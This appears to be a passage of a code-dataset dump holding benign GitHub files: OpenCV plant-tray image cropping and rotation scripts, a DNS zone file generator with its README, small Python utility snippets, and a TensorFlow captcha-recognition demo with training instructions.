pot10=tray[4+(3*y):129+(3*y),1:121]\n cv2.imwrite('pot10.jpg', pot10)\n pot15=tray[4+(4*y):129+(4*y),1+(2*x):121+(2*x)]\n cv2.imwrite('pot15.jpg', pot15)\n\n #choose specific pots from tray 2 (pots 1,5,7,11,13)\n pot_1=tray[0:122,408:529]\n cv2.imwrite('pot_1.jpg', pot_1)\n pot_5=tray[0+y:122+y,408+x:529+x]\n cv2.imwrite('pot_5.jpg', pot_5)\n pot_7=tray[0+(2*y):122+(2*y),408:529]\n cv2.imwrite('pot_7.jpg', pot_7)\n pot_11=tray[0+(3*y):122+(3*y),408+x:529+x]\n cv2.imwrite('pot_11.jpg', pot_11)\n pot_13=tray[0+(4*y):122+(4*y),408:529]\n cv2.imwrite('pot_13.jpg', pot_13) \n \n \n \n #plot all analyzed images to single window\n plt.subplot(2,5,1),plt.imshow(pot3,'Greens'),plt.title('pot3')\n plt.axis(\"off\")\n plt.subplot(2,5,2),plt.imshow(pot4,'Greens'),plt.title('pot4')\n plt.axis(\"off\")\n plt.subplot(2,5,3),plt.imshow(pot9,'Greens'),plt.title('pot9')\n plt.axis(\"off\")\n plt.subplot(2,5,4),plt.imshow(pot10,'Greens'),plt.title('pot10')\n plt.axis(\"off\")\n plt.subplot(2,5,5),plt.imshow(pot15,'Greens'),plt.title('pot15')\n plt.axis(\"off\")\n plt.subplot(2,5,6),plt.imshow(pot_1,'Greens'),plt.title('pot_1')\n plt.axis(\"off\")\n plt.subplot(2,5,7),plt.imshow(pot_5,'Greens'),plt.title('pot_5')\n plt.axis(\"off\")\n plt.subplot(2,5,8),plt.imshow(pot_7,'Greens'),plt.title('pot_7')\n plt.axis(\"off\")\n plt.subplot(2,5,9),plt.imshow(pot_11,'Greens'),plt.title('pot_11')\n plt.axis(\"off\")\n plt.subplot(2,5,10),plt.imshow(pot_13,'Greens'),plt.title('pot_13')\n plt.axis(\"off\")\n\n \n plt.show()\n \n" }, { "alpha_fraction": 0.5911047458648682, "alphanum_fraction": 0.6413199305534363, "avg_line_length": 21.483871459960938, "blob_id": "4bf51cc48db8b6b4251cbd231bb7fd4801531905", "content_id": "403ae1f8996e18d5a7261e1b6a1a8eaf4e353da0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 697, "license_type": "no_license", "max_line_length": 77, "num_lines": 31, "path": "/rotate_trays.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 06 10:14:53 2017\n\n@author: theri\n\"\"\"\n\nimport cv2\nimport os, os.path\nimport glob\n\nos.chdir('C:/Users/theri/Dropbox/Trevor_timelapse/Codes')\ndirname = 'C:/Users/theri/Dropbox/Trevor_timelapse/extracted_frames3/rotated'\nos.mkdir(dirname)\n\n\n\ndef rotate_img(arg1,arg2):\n \n \n \n img = cv2.imread(arg1)\n \n rows,cols = img.shape[:2]\n M = cv2.getRotationMatrix2D((cols/2, rows/2),-float(arg2),1)\n dst = cv2.warpAffine(img,M,(cols,rows))\n cv2.imwrite(os.path.join(dirname, arg1), dst)\n #cv2.namedWindow('rotated', cv2.WINDOW_NORMAL)\n #cv2.imshow('rotated', dst)\n #cv2.waitKey(0)\n #cv2.destroyAllWindows()\n" }, { "alpha_fraction": 0.646118700504303, "alphanum_fraction": 0.668188750743866, "avg_line_length": 23.148147583007812, "blob_id": "89751adf3d1fd9284d61ddd096c795d5f1b48910", "content_id": "f767588bf467727a3be51fb35e890bda4eb80f32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1314, "license_type": "no_license", "max_line_length": 100, "num_lines": 54, "path": "/combined.py", "repo_name": "seyedvahidmirnezami/ME585X-ComputerVision", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 12 14:38:38 2017\n\n@author: theri\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport os\nfrom rotate_ht_genesis2 import rotate_img\nfrom angle_ht_genesis2_practice import find_angle\nfrom segmentpots2 import segment_pots\nimport glob\nimport csv\nfrom itertools import groupby\n# yoavram: Bug fix for Python 3 as suggested in https://github.com/nschloe/matplotlib2tikz/issues/20\ntry:\n from itertools import izip\nexcept ImportError:\n izip = zip\n\n\nos.chdir(\"C:/Users/theri/Dropbox/Trevor_timelapse/extracted_frames3/frames\")\ndirname = 'C:/Users/theri/Dropbox/Trevor_timelapse/extracted_frames3/frames/results'\n\nframes = glob.glob('./*.jpg')\n\n\n#create lists to keep track of images and angles\nangle_list = []\nframe_list = []\n\ncount = 0\nwhile (count < len(frames)):\n\n for frame in frames:\n \n angle_list2 = find_angle(frame)\n rotated = rotate_img(frame, angle_list2)\n \n angle_list.append(angle_list2)\n frame_list.append(frame)\n \n with open('angles.csv', 'w') as a:\n write = csv.writer(a)\n write.writerows(izip(frame_list, angle_list))\n \n pots = segment_pots(rotated)\n \n for pot in frame_list:\n cv2.imwrite(os.path.join(dirname, \"frame%s.jpg\" % frame), pots)\n\n count = count + 1;\n \n \n" } ]
6
dldinternet/zonefiler
https://github.com/dldinternet/zonefiler
7c34d60e9c35d2c9f703906cd0f9c163025112a5
76f27055ebb1976a176c67f063c14608ca4ae5d6
4a72fd2e7901f32d954344719f9b0cf286dd1829
refs/heads/master
2022-03-01T23:06:20.075459
2017-02-01T12:41:41
2017-02-01T12:41:41
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.34002283215522766, "alphanum_fraction": 0.4627182185649872, "avg_line_length": 43.41304397583008, "blob_id": "b6f8f42bee46aee6249b5f31ac9f7a93b8d2e938", "content_id": "07b169382075f07db152f2af82a3ab43301f5b67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6129, "license_type": "no_license", "max_line_length": 171, "num_lines": 138, "path": "/README.md", "repo_name": "dldinternet/zonefiler", "src_encoding": "UTF-8", "text": "# zonefiler\n\nA tool for creating forward and reverse zone files for hosts described in YAML.\n\n\n## Realms\n\n* A realm is a logical collection of forward zone data.\n* A realm may contain forward zone data from different domains.\n* A domain's forward zone data may be spread over multiple realms.\n* Each realm has it's own realm file named `realms/<realm>.yml`.\n* The behavior in case of duplicate entries is undefined.\n\n\n## Zones\n\n* Default settings for zone files are stored in `default.yml`\n* Zone files are only generated for zones in `zones.yml`.\n* Reverse zones and PTR RR are auto-generated.\n\n\n## Usage\n\n $ ./zonefiler <zonedata-dir> <output-dir>\n\n\n## Example usage\n\n $ ./zonefiler.py example/ output/\n zonefiler v1.1 Dec 2016, written by Dan Luedtke <[email protected]>\n loading myservers.yml\n loading ../zones.yml\n loading ../default.yml\n writing output/example.com\n writing output/2.0.192.in-addr.arpa\n writing output/0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa\n\nThe result:\n\n $ ls output/\n 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa\n 2.0.192.in-addr.arpa\n example.com\n\n\n### Input myrealm.yml\n\n - host: example.com\n ip:\n - 192.0.2.1\n - 2001:db8::1\n mx:\n - name: mail1.example.com\n prio: 10\n - name: mail2.example.com\n prio: 20\n\n - host: www.example.com\n cname: example.com\n\n - host: mail1.example.com\n ip:\n - 192.0.2.55\n - 2001:db8::55\n tlsa:\n - protocol: tcp\n ports: [ 25, 143, 587 ]\n usage: dane-ee\n selector: spki\n matching_type: sha-256\n matching: aaaaaaabbbbbbbccccccdddddddeeeeee42\n\n - host: cool.example.com\n ip:\n - 2001:db8::10:1\n - 2001:db8::10:2\n - 2001:db8::10:3\n\n### Input zones.yml\n\n - zone: example.com\n - reverse_zone: 192.0.2.0/24\n - reverse_zone: 2001:db8::/48\n\n### Output example.com\n\n ;\n ; zone file for example.com\n ; generated 2016-12-28 20:56:38\n ;\n example.com. 1800 IN SOA ns1.example.com. admin.example.com. ( 2016122806 14400 3600 1209600 3600 )\n example.com. 1800 IN NS ns1.example.com.\n example.com. 1800 IN NS ns2.example.net.\n example.com. 1800 IN NS ns3.example.net.\n example.com. 1800 IN A 192.0.2.1\n example.com. 1800 IN AAAA 2001:db8::1\n example.com. 1800 IN MX 10 mail1.example.com.\n example.com. 1800 IN MX 20 mail2.example.com.\n www.example.com. 1800 IN CNAME example.com.\n mail1.example.com. 1800 IN A 192.0.2.55\n mail1.example.com. 1800 IN AAAA 2001:db8::55\n _25._tcp.mail1.example.com. 1800 IN TLSA 3 1 1 aaaaaaabbbbbbbccccccdddddddeeeeee42\n _143._tcp.mail1.example.com. 1800 IN TLSA 3 1 1 aaaaaaabbbbbbbccccccdddddddeeeeee42\n _587._tcp.mail1.example.com. 1800 IN TLSA 3 1 1 aaaaaaabbbbbbbccccccdddddddeeeeee42\n cool.example.com. 1800 IN AAAA 2001:db8::10:1\n cool.example.com. 1800 IN AAAA 2001:db8::10:2\n cool.example.com. 1800 IN AAAA 2001:db8::10:3\n\n\n### Output 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa\n\n ;\n ; zone file for 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa\n ; generated 2016-12-28 20:56:38\n ;\n 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN SOA ns1.example.com. admin.example.com. ( 2016122806 14400 3600 1209600 3600 )\n 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN NS ns1.example.com.\n 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN NS ns2.example.net.\n 0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN NS ns3.example.net.\n 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN PTR example.com.\n 5.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN PTR mail1.example.com.\n 1.0.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN PTR cool.example.com.\n 2.0.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN PTR cool.example.com.\n 3.0.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa. 1800 IN PTR cool.example.com.\n\n\n### Output 2.0.192.in-addr.arpa\n\n ;\n ; zone file for 2.0.192.in-addr.arpa\n ; generated 2016-12-28 20:56:38\n ;\n 2.0.192.in-addr.arpa. 1800 IN SOA ns1.example.com. admin.example.com. ( 2016122806 14400 3600 1209600 3600 )\n 2.0.192.in-addr.arpa. 1800 IN NS ns1.example.com.\n 2.0.192.in-addr.arpa. 1800 IN NS ns2.example.net.\n 2.0.192.in-addr.arpa. 1800 IN NS ns3.example.net.\n 1.2.0.192.in-addr.arpa. 1800 IN PTR example.com.\n 55.2.0.192.in-addr.arpa. 1800 IN PTR mail1.example.com.\n" }, { "alpha_fraction": 0.44351819157600403, "alphanum_fraction": 0.4528210759162903, "avg_line_length": 30.233963012695312, "blob_id": "a84d6f5cd548a08e331dcd3c1d8d6b3b26e8d9c1", "content_id": "7bf43865249c063f9f5aed7d987190766cafba9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8277, "license_type": "no_license", "max_line_length": 80, "num_lines": 265, "path": "/zonefiler.py", "repo_name": "dldinternet/zonefiler", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os\nimport sys\nimport yaml\nimport time\nimport ipaddress\n\n\n# --- configuration ---------------------------------------------------------- #\n\nconf_justify_name = 75\nconf_justify_ttl = 6\nconf_justify_rrtype = 6\nconf_seconds_per_unit = {\n \"s\": 1,\n \"m\": 60,\n \"h\": 3600,\n \"d\": 86400,\n \"w\": 604800\n}\nconf_tlsa_usage = {\n \"pkix-ta\": 0,\n \"pkix-ee\": 1,\n \"dane-ta\": 2,\n \"dane-ee\": 3\n}\nconf_tlsa_selector = {\n \"cert\": 0,\n \"spki\": 1\n}\nconf_tlsa_matching_type = {\n \"no-hash\": 0,\n \"sha-256\": 1,\n \"sha-512\": 2\n}\nconf_required_default = (\n 'auth_ns', 'ns', 'admin', 'refresh', 'retry', 'expire', 'minimum', 'ttl'\n)\n\n\n# --- convert time duration string to seconds -------------------------------- #\n\ndef to_sec(s):\n s = str(s)\n if s.isnumeric():\n return s\n else:\n return str(int(s[:-1]) * conf_seconds_per_unit[s[-1]])\n\n\n# --- convert variable to list ----------------------------------------------- #\n\ndef to_list(v):\n if isinstance(v, list):\n return v\n return [ str(v) ]\n\n\n# --- write zone file head --------------------------------------------------- #\n\ndef put_head(f, name, zone, serial):\n f.write(\";\\n\" + \\\n \"; zone file for \" + name + \"\\n\" + \\\n \"; generated \" + time.strftime(\"%Y-%m-%d %H:%M:%S\") + \"\\n\" + \\\n \";\\n\")\n put_rr(f, name, zone['ttl'], \"SOA\",\n zone['auth_ns'] + \". \" + zone['admin'].replace(\"@\", \".\") + \". \" + \\\n \"( \" + \\\n str(serial) + \" \" + \\\n to_sec(zone['refresh']) + \" \" + \\\n to_sec(zone['retry']) + \" \" + \\\n to_sec(zone['expire']) + \" \" + \\\n to_sec(zone['minimum']) + \" \" + \\\n \")\")\n put_rr(f, name, zone['ttl'], \"NS\", zone['auth_ns'] + \".\")\n for ns in zone['ns']:\n put_rr(f, name, zone['ttl'], \"NS\", ns + \".\")\n\n\n# --- write raw resource record ---------------------------------------------- #\n\ndef put_rr(f, name, ttl, rrtype, rrvalue):\n if not name.endswith('.'):\n name += '.'\n if isinstance(rrvalue, list):\n for v in rrvalue:\n f.write(name.ljust(conf_justify_name) + \" \" + \\\n to_sec(ttl).ljust(conf_justify_ttl) + \" \" + \\\n \"IN \" + \\\n rrtype.ljust(conf_justify_rrtype) + \" \" + \\\n str(v).strip() + \"\\n\")\n else:\n f.write(name.ljust(conf_justify_name) + \" \" + \\\n to_sec(ttl).ljust(conf_justify_ttl) + \" \" + \\\n \"IN \" + \\\n rrtype.ljust(conf_justify_rrtype) + \" \" + \\\n str(rrvalue).strip() + \"\\n\")\n\n\n# --- write extra resource records ------------------------------------------- #\n\ndef put_extra_rr(f, host, ttl):\n name = host['host']\n if 'txt' in host.keys():\n put_rr(f, name, ttl, \"TXT\", '\"' + host['txt'].strip() + '\"')\n if 'spf' in host.keys():\n put_rr(f, name, ttl, \"SPF\", '\"' + host['spf'].strip() + '\"')\n put_rr(f, name, ttl, \"TXT\", '\"' + host['spf'].strip() + '\"')\n if 'mx' in host.keys():\n for v in host['mx']:\n put_rr(f, name, ttl, \"MX\", str(v['prio']) + \" \" + v['name'].strip() + \".\")\n if 'cname' in host.keys():\n # multiples violates RFC, but bind can do round robin\n put_rr(f, name, ttl, \"CNAME\", host['cname'].strip() + \".\")\n if 'ns' in host.keys():\n for v in host['ns']:\n put_rr(f, name, ttl, \"NS\", v.strip() + \".\")\n if 'tlsa' in host.keys():\n for v in host['tlsa']:\n for port in to_list(v['ports']):\n put_rr(f, \"_\" + str(port) + \"._\" + v['protocol'] + \".\" + name, ttl,\n \"TLSA\",\n str(conf_tlsa_usage[v['usage']]) + \" \" + \\\n str(conf_tlsa_selector[v['selector']]) + \" \" + \\\n str(conf_tlsa_matching_type[v['matching_type']]) + \" \" + \\\n str(v['matching'].strip()))\n\n\n# --- check if hostname is part of zone -------------------------------------- #\n\ndef host_in_zone(host, zone):\n return host[-(len(zone) + 1):] == \".\" + zone or host == zone\n\n\n# --- main ------------------------------------------------------------------- #\n\ndef main():\n yml = []\n zones = []\n reverse_zones = []\n hosts = []\n\n print(\"zonefiler v1.1 Dec 2016, written by Dan Luedtke <[email protected]>\")\n\n if len(sys.argv) != 3:\n print(\"usage: ./zonefiler <input-dir> <output-dir>\")\n sys.exit(1)\n\n # load database\n for file in os.listdir(str(sys.argv[1]) + \"/realms/\") + \\\n [\"../zones.yml\", \"../default.yml\"]:\n if file.endswith(\".yml\"):\n print(\"loading\", file)\n try:\n f = open(str(sys.argv[1]) + \"/realms/\" + file, 'r')\n yml += yaml.load(f.read())\n f.close()\n except:\n print(\"error loading\", file)\n sys.exit(1)\n\n # find zone default parameters\n default = None\n for item in yml:\n if 'default' in item.keys():\n default = item\n if default == None:\n print(\"missing zone default parameters\")\n sys.exit(1)\n\n # validate zone default parameters\n if not all (k in default for k in conf_required_default):\n print(\"missing one of\", conf_required_default, \"in default zone\")\n sys.exit(1)\n\n # split zones, reverse_zones, and hosts\n for item in yml:\n if 'zone' in item.keys() or 'reverse_zone' in item.keys():\n for k in conf_required_default:\n if k not in item.keys():\n item[k] = default[k]\n if 'zone' in item.keys():\n zones.append(item)\n elif 'reverse_zone' in item.keys():\n reverse_zones.append(item)\n elif 'host' in item.keys():\n hosts.append(item)\n\n # free memory (well, i know it's python, but because i can...)\n yml = None\n\n # read/write serial\n serial = '0'\n try:\n f = open(str(sys.argv[1]) + '/serial', 'r')\n serial = f.readline()\n f.close()\n except:\n print('warning: could not read serial')\n if serial[:8] == time.strftime('%Y%m%d'):\n serial = str(int(serial) + 1)\n else:\n serial = time.strftime('%Y%m%d00')\n try:\n f = open(str(sys.argv[1]) + '/serial', 'w')\n f.write(serial)\n f.close\n except:\n print('warning: could not save serial')\n\n # export zones\n for zone in zones:\n fname = str(sys.argv[2]) + \"/\" + zone['zone']\n print(\"writing\", fname)\n try:\n f = open(fname, 'w')\n except:\n print(\"error opening\", fname, \"for writing\")\n sys.exit(1)\n put_head(f, zone['zone'], zone, serial)\n for host in hosts:\n if host_in_zone(host['host'], zone['zone']):\n if 'ip' in host.keys():\n for v in to_list(host['ip']):\n ip = ipaddress.ip_address(v)\n if ip.version == 4:\n put_rr(f, host['host'], zone['ttl'], \"A\", ip)\n elif ip.version == 6:\n put_rr(f, host['host'], zone['ttl'], \"AAAA\", ip)\n put_extra_rr(f, host, zone['ttl'])\n f.close()\n\n # export reverse zones\n for zone in reverse_zones:\n net = ipaddress.ip_network(zone['reverse_zone'])\n ip = ipaddress.ip_interface(zone['reverse_zone']).ip\n name = ip.reverse_pointer\n if ip.version == 4:\n for _ in range(int((32 - net.prefixlen) / 8)):\n name = name[name.index('.') + 1:]\n elif ip.version == 6:\n name = name[int((128 - net.prefixlen) / 2):]\n fname = str(sys.argv[2]) + \"/\" + name\n print(\"writing\", fname)\n try:\n f = open(fname, 'w')\n except:\n print(\"error opening\", fname, \"for writing\")\n sys.exit(1)\n put_head(f, name, zone, serial)\n for host in hosts:\n if 'ip' in host.keys():\n for v in to_list(host['ip']):\n ip = ipaddress.ip_address(v)\n if ip in net:\n put_rr(f, ip.reverse_pointer, zone['ttl'], \"PTR\",\n host['host'] + \".\")\n if host_in_zone(host['host'], name):\n put_extra_rr(f, host, zone['ttl'])\n f.close()\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
2
alenares/misc-code
https://github.com/alenares/misc-code
f6965db576216f6ed15b0ec6a3b5c402d78b66b1
286c4e5fcb598eef5e3f6a60dcf4b3e605cdce36
a30dfdc473c474b22255dc0fd021f74fb33f51d4
refs/heads/master
2020-06-09T04:43:18.340399
2015-03-30T13:46:20
2015-03-30T13:46:20
32,960,249
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6649746298789978, "alphanum_fraction": 0.6700507402420044, "avg_line_length": 15.333333015441895, "blob_id": "0a0f9f6e467f9f09bad3fe035d97b6a571749779", "content_id": "d08c258050b189811a3c7648ef32aeba815c366f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 197, "license_type": "no_license", "max_line_length": 52, "num_lines": 12, "path": "/generator.py", "repo_name": "alenares/misc-code", "src_encoding": "UTF-8", "text": "\n'''\n tags: yield generator\n'''\n\ndef createGenerator():\n mylist = range(3)\n for i in mylist:\n yield i*i\n\nmygenerator = createGenerator() # create a generator\nfor i in mygenerator:\n print(i)\n" }, { "alpha_fraction": 0.7023809552192688, "alphanum_fraction": 0.7023809552192688, "avg_line_length": 14.090909004211426, "blob_id": "91c0dec6aec8229fd58c3431e6a7c5036f0157d8", "content_id": "e989a7458cd11d77cc1d8a27c66d6ff4a433e8ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "no_license", "max_line_length": 37, "num_lines": 11, "path": "/file_dir_exists.py", "repo_name": "alenares/misc-code", "src_encoding": "UTF-8", "text": "\n'''\n tags: file directory exist\n'''\n\nimport os.path\n\n# check if a file or directory exists\nos.path.exists(file_path)\n\n# check if a file exists\nos.path.isfile(fname) \n" }, { "alpha_fraction": 0.4600188136100769, "alphanum_fraction": 0.5004703402519226, "avg_line_length": 23.159090042114258, "blob_id": "41a364e42bb1391d918ff326045fd776c81fff08", "content_id": "e1a2cb4e52ca03cb0afb340f03b74929dc5e483f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1063, "license_type": "no_license", "max_line_length": 61, "num_lines": 44, "path": "/DMS_to_Deg.py", "repo_name": "alenares/misc-code", "src_encoding": "UTF-8", "text": "'''\ntags: fme coordinates conversion\n'''\n\nimport fmeobjects\n\n# Template Class Interface:\nclass FeatureProcessor(object):\n def __init__(self):\n pass\n def input(self,feature):\n latitude = DMS2Deg(feature.getAttribute(\"geoLat\"))\n longitude = -DMS2Deg(feature.getAttribute(\"geoLong\"))\n feature.setAttribute(\"_latitude\", latitude)\n feature.setAttribute(\"_longitude\", longitude)\n self.pyoutput(feature)\n \n def close(self):\n pass\n \ndef DMS2Deg(x):\n x = x[:len(x)-1]\n x1,x2,x3 = x.partition('.')\n if len(x1) <= 3:\n case = 0\n xD = x1\n xM = 0\n elif len(x1) <= 5:\n case = 1\n xD = x1[:len(x1)-2]\n xM = x1[len(xD):]\n else:\n case = 2\n xD = x1[:len(x1)-4]\n xM = x1[len(xD):len(x1)-2]\n xS = 0\n if x3 != '':\n if case == 0:\n xD = xD + x2 + x3\n elif case == 1:\n xM = xM + x2 + x3\n else:\n xS = x1[len(xD)+len(xM):] + x2 + x3\n return (float(xD) + float(xM)/60 + float(xS)/3600)\n" }, { "alpha_fraction": 0.5788367390632629, "alphanum_fraction": 0.6026629209518433, "avg_line_length": 28.102041244506836, "blob_id": "5865afdab14f4ee6cd31584516d15810d9f7f38a", "content_id": "88b5bff3a9a5faf054a1ef62637612448294205c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1427, "license_type": "no_license", "max_line_length": 75, "num_lines": 49, "path": "/Deg_to_DMS.py", "repo_name": "alenares/misc-code", "src_encoding": "UTF-8", "text": "\n'''\ntags: fme coordinates conversion\n'''\n\nimport fmeobjects\n\n# Template Class Interface:\nclass FeatureProcessor(object):\n def __init__(self):\n pass\n def input(self,feature):\n geoLat = decdeg2dms_lat(feature.getAttribute(\"latitude\"))\n geoLong = decdeg2dms_long(feature.getAttribute(\"longitude\"))\n feature.setAttribute(\"geoLat\", geoLat)\n feature.setAttribute(\"geoLong\", geoLong)\n self.pyoutput(feature)\n \n def close(self):\n pass\n \ndef decdeg2dms_long(dd):\n negative = dd < 0\n dd = abs(dd)\n minutes,seconds = divmod(dd*3600,60)\n degrees,minutes = divmod(minutes,60)\n decimal = \"{:0.4f}\".format(seconds)[-4:]\n minutes = str(int(minutes)).zfill(2) \n seconds = str(int(seconds)).zfill(2) \n degrees = str(int(degrees)).zfill(3)\n if negative:\n letter = 'W'\n else:\n letter = 'E'\n return \"{}{}{}.{}{}\".format(degrees, minutes, seconds, decimal, letter)\n \ndef decdeg2dms_lat(dd):\n negative = dd < 0\n dd = abs(dd)\n minutes,seconds = divmod(dd*3600,60)\n degrees,minutes = divmod(minutes,60)\n decimal = \"{:0.4f}\".format(seconds)[-4:]\n minutes = str(int(minutes)).zfill(2) \n seconds = str(int(seconds)).zfill(2) \n degrees = str(int(degrees)).zfill(2)\n if negative:\n letter = 'S'\n else:\n letter = 'N'\n return \"{}{}{}.{}{}\".format(degrees, minutes, seconds, decimal, letter)\n" }, { "alpha_fraction": 0.5347222089767456, "alphanum_fraction": 0.6111111044883728, "avg_line_length": 21.076923370361328, "blob_id": "33800bca35892ed854f0adad2b1781c567847644", "content_id": "5708c1ba258fcedeb01bd894e74a0db21960edf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "no_license", "max_line_length": 56, "num_lines": 13, "path": "/sort_dictionary.py", "repo_name": "alenares/misc-code", "src_encoding": "UTF-8", "text": "\n'''\n tags: dictionary sort\n'''\n\nimport operator\n\n# sort dictionary by value\nx = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}\nsorted_x = sorted(x.items(), key=operator.itemgetter(1))\n\n# sort dictionary by key\nx = {1: 2, 3: 4, 4: 3, 2: 1, 0: 0}\nsorted_x = sorted(x.items(), key=operator.itemgetter(0))\n" } ]
5
deJQK/captcha-tensorflow
https://github.com/deJQK/captcha-tensorflow
80ae825e88587efd30d417a57a061bb8c7daebbb
a4afbd3eb6702d733cef6fec1072d26d17e363b2
fa55f39d55962113f836f025b70a0ec8a016fd64
refs/heads/master
2021-01-18T16:47:19.892388
2017-03-30T03:09:16
2017-03-30T03:09:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5783684849739075, "alphanum_fraction": 0.5957837104797363, "avg_line_length": 23.795454025268555, "blob_id": "b49f07624b7a71f15beffda242c8a86f39c46eae", "content_id": "5e2386d695e4271f2ef456a6116fcd8ba592005f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1091, "license_type": "no_license", "max_line_length": 71, "num_lines": 44, "path": "/gen_captcha.py", "repo_name": "deJQK/captcha-tensorflow", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport argparse\nimport string\nimport os\nimport uuid\nfrom captcha.image import ImageCaptcha\n\n\nCHOICES = map(str, list(range(10)) + list(string.ascii_lowercase))\n\n\ndef one_char(n=1000, img_dir='images'):\n if not os.path.exists(img_dir):\n os.makedirs(img_dir)\n\n image = ImageCaptcha(width=60, height=100)\n print 'generating %s captchas in %s' % (n, img_dir)\n\n for _ in range(n):\n for i in CHOICES:\n fn = os.path.join(img_dir, '%s_%s.png' % (i, uuid.uuid4()))\n image.write(str(i), fn)\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-n',\n default=1000,\n type=int,\n help='number of captchas for one integer.')\n parser.add_argument(\n '-t',\n default=0.2,\n type=float,\n help='ratio of test / train.')\n\n FLAGS, unparsed = parser.parse_known_args()\n train_number = FLAGS.n\n test_number = int(FLAGS.n * FLAGS.t)\n\n one_char(train_number, 'images/one-char/train')\n one_char(test_number, 'images/one-char/test')\n" }, { "alpha_fraction": 0.585496187210083, "alphanum_fraction": 0.699999988079071, "avg_line_length": 15.903225898742676, "blob_id": "9c96f51e924d74e0bc3721a36fa173673c7e37dc", "content_id": "ccd8b48f9bbdfbf5a077791c4bbf89cff17ac8f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3596, "license_type": "no_license", "max_line_length": 51, "num_lines": 155, "path": "/README.md", "repo_name": "deJQK/captcha-tensorflow", "src_encoding": "UTF-8", "text": "# captcha-tensorflow\n\n使用 tensorflow 做验证码识别\n\n\n## 1 个字符的验证码识别\n\n\n#### 生成训练数据\n\n使用 python 的 captcha package 生成测试数据\n\n图片大小为 60 * 100 (width * height)\n\n```bash\n$ python gen_captcha.py\ngenerating 1000 captchas in images/one-char/train\ngenerating 200 captchas in images/one-char/test\n```\n\n也可以自定义数据规模,\n比如:10000 组训练数据,30% 比例的测试数据。\n\n```bash\n$ python gen_captcha.py -n 10000 -t 0.3\n```\n\n\n#### Simple-softmax: 1 个字符,1 个 softmax 层,正确率 90%\n\n生成测试数据, 10000 组\n\n```bash\n$ python gen_captcha.py -n 10000\ngenerating 10000 captchas in images/one-char/train\ngenerating 2000 captchas in images/one-char/test\n```\n\n训练\n\n```bash\n$ time python simple_softmax.py\ndata loaded. train images: 10000. test images: 2000\n...\nstep = 9100, accuracy = 91.10%\nstep = 9200, accuracy = 91.40%\nstep = 9300, accuracy = 92.00%\nstep = 9400, accuracy = 91.40%\nstep = 9500, accuracy = 91.35%\nstep = 9600, accuracy = 90.80%\nstep = 9700, accuracy = 91.60%\nstep = 9800, accuracy = 91.65%\nstep = 9900, accuracy = 90.50%\ntesting accuracy = 91.05%\n\nreal2m46.478s\nuser2m29.704s\nsys0m17.828s\n```\n\n另外一次运行的输出\n\n```bash\nstep = 9100, accuracy = 91.19%\nstep = 9200, accuracy = 90.76%\nstep = 9300, accuracy = 91.76%\nstep = 9400, accuracy = 90.39%\nstep = 9500, accuracy = 64.87%\nstep = 9600, accuracy = 88.35%\nstep = 9700, accuracy = 90.64%\nstep = 9800, accuracy = 91.94%\nstep = 9900, accuracy = 81.67%\ntesting accuracy = 91.35%\n\nreal2m463m29.769s\nuser2m293m8.040s\nsys0m170m23.968s\n```\n\n不仅慢了,而且 accuracy 浮动很大。\n\n\n#### tensorboard\n\n\n基本的原理:\n\ntensorflow 执行时,写 log 文件,\ntensorboard 解析 log 并做数据可视化。\n\n定义 graph 的时候,\n用 tf.summary 定义需要写入日志的变量值和格式。\n\n代码:`softmax_with_log.py`\n\n\n```bash\n$ python softmax_with_log.py\n```\n\n在另外 1 个 terminal 中执行\n\n```bash\n$ tensorboard --logdir=log\n```\n\n浏览器中打开 